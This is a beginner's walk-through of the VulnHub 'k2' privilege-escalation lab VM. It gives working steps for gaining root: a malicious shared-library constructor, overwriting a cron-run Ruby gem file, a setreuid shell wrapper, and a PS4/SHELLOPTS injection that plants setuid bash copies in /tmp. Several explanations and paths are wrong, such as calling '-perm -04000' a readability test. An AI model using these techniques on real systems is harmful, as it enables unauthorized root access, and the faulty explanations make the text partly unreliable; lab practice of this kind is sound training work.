/dev/random: k2 Walk-through
Hello, my name is Noah and this walk-through is for a Linux privilege escalation challenge, which is ‘/dev/random: k2’.
The virtual machine can be found here: https://www.vulnhub.com/entry/devrandom-k2,204/
The original walk-through made by the creator can be found here as well: https://www.youtube.com/watch?v=9B1C_xi_yic
Just a heads up, this write up is going to be very detailed because before there was only one walk-through and it was made by the creator of the virtual machine. The video was fast paced (only 2 minutes) and no explanation at all. So I wrote down all of the commands from the video and pretty much figured out what they did and how they would get me to the next step in escalating to root. Let’s get started.
When the vm boots up you should ssh into it. Luckily the creator gave us the username and password, which is “username” and “password”. Personally, I was having connectivity issues, so I just went ahead and logged straight into the vm.
$ sudo -l
...
User user may run the following commands on this host.
(user2) /bin/calc
$ /bin/calc
Calculating something, please wait...
Done.“sudo -l” is ran first because it will list the commands that we will be able to run as “user”. The result tells us that we can run “/bin/calc”, but when it is executed nothing really seems to happen. Since we don’t know much about the program, I think our best bet would be to examine it using another program called “strace”.
$ strace /bin/calc 2>&1 | egrep -i "open|access|no such file"Strangely, when I first ran this command it was using “grep -E” but that didn’t seem to work and when I switched it to “egrep”, which does the same thing, it worked with no problem. Now I had trouble understanding parts of this command, so I will do my best to explain what is going on. It’s saying that “strace” will redirect the output or any errors “2>&1” to “grep” and print what is “open”, what we have “access” to and if there are “no such files” found.

Our next hint is in the very last line. There is a missing config file for “/bin/calc”, I think we should see what we can do when the file is created. Wait, before we create the file a directory needs to be made. First our user directory needs to have both read and executable permissions on it, chmod +rx /home/user/ . Now all that’s left is the “.config” directory, mkdir /home/user/.config. Time to create the config file.
$ nano libcalc.c
#include <stdio.h>
#include <stdlib.h>static void x()__attribute__((constructor));
void x(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}$ gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
The “libcalc.c” file is copying the bash file into the “tmp” directory and changing the permissions to “chmod +s”, this change is setting the “setuid” which allows the program to be run as the owner instead of the user who invokes the program. The last part of the command just executes the bash file. Next it needs to be compiled in gcc. The “-shared” option creates a shared library and the “-o” is the output file. Being honest, I still have not been able to figure it out what “-fPIC” does, sorry.
When it’s done compiling, it needs to be executed with sudo -u user2 /bin/calc. The only thing the prompt should ask for is the password from earlier.

To make sure that it worked run id and the results should return “user2”. I think it’s time to take a look around and see if there is anything useful. But we got to start by changing our directory to, cd /home/user2 and look at the files, ls -lah . The first file I see is “.bash_history” and think that we should check it out, nano .bash_history.

The file itself is huge but somewhere in the middle we see something that looks interesting, nano /etc/crontab . Now what makes crontab interesting is helps linux run cron jobs and cron is a daemon that executes scheduled tasks.

When nano /etc/crontab is ran, you should see “user3 /sbin/bckup” in the middle of the file and I think we know what to do now. Read the files contents.

During examination of the file, it needs “zip” to run and we can try to use that to get to the next user. To find out where it’s directory is use, gem which zip the output is the location of the programs directory. Let’s look at its permissions with ls -lah /usr/local/share/gems/gems/rubyzip-1.2.1/lib/zip.rb. Good the terminal returns that the owner is root and the group is “user2" with read and writable permissions. Another script needs to be made.
$ echo '`cp /bin/bash /tmp/bash2 && chmod +s /tmp/bash2`' > /usr/local/share/gems/gems/rubyzip-1.2.1/lib/zip.rbAgain, this is making a “bash2” copy in the “tmp” directory, changing the permissions and overwrite the zip ruby script (that’s what ‘>’ does).

After running ./bash2 -p and id, ‘euid’, ‘egid’ and ‘groups’ should be “user3" while everything else is still “user2”. To get to “user3” another file needs to be written in C and compiled again.
$ nano bash3.c
int main(){
setreuid(geteuid(), getuid());
setregid(getegid(), getgid());
system("/bin/bash");
}$ gcc /tmp/bash3.c -o bash3
$ ./bash3
$ id
The first two lines are getting the user and group identity and setting them within the program before running bash. Then it is compiled, once that is done we will run the script. This time with “id”, the output should all show “user3”.

$ find / -type f -perm -04000 -ls 2>/dev/null
...
$ /usr/local/whoisme
userThis command is going to search through the root directory and find a regular file “find / -type f” that allows the owner to read it “-perm -04000” and list the files “-ls”, it will also throw away any errors that it will run into “2>/dev/null”. In the results we need to find something that will let us execute as “user3”. The last file shows us that root is the owner, user3 is the group and the file is “/usr/local/bin/whoisme”. So when the program is ran, it just returns “user”. The program needs to be examined since there is not much to work with here.
strings /usr/local/bin/whoisme | head -n 15Instead of using “strace” there is another program called “strings” that prints the strings in files. During the second part, “head -n 15” means that it will print only the first 15 lines of the file. From what is printed on the output, there’s only four hints that seem interesting or important, “setuid, system, setgid and /usr/bin/logname”. I don’t know what their use is right now, so we will just make a note of these items. I think we still got one more script to make before we can get root.

$ env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/bash4 && chown root.root /tmp/bash4 && chmod +s /tmp/bash4)' /bin/sh -c '/usr/local/bin/whoisme'
...
$ ./tmp/bash4 -p
...
$ idTime for an explanation of what’s going on. “env -i” runs the program in an empty environment, I don’t know what “SHELLOPTS and PS4” do, but “xtrace” traces the execution of a program. Once again as before bash is being copied to “tmp” as “bash4” while the owner and group are being changed to root. After the program has completed, it’s time to execute with ./tmp/bash4 -p. From what you can see above, when id is ran it does show that we are now root. Let’s look around the root directory and see if we find our flag.

Congratulations, challenge completed. I hope you found this somewhat helpful. Before this vm I knew nothing about privilege escalation and thought that I should just dive in but I was wrong because I had no idea where to start. In the beginning figuring out what commands to run and why I should run them helped and gave me a deeper understanding of the system and how I should go about doing challenges like this. I’ve done one other vulnerable machine before and I have to say I didn’t think you had to be this creative to finish them. Anyways, teaching myself what the commands did, when I had no idea taught me a lot and I hope to continue to learn and get better at these vm’s. Thank You for taking the time to read this long write up!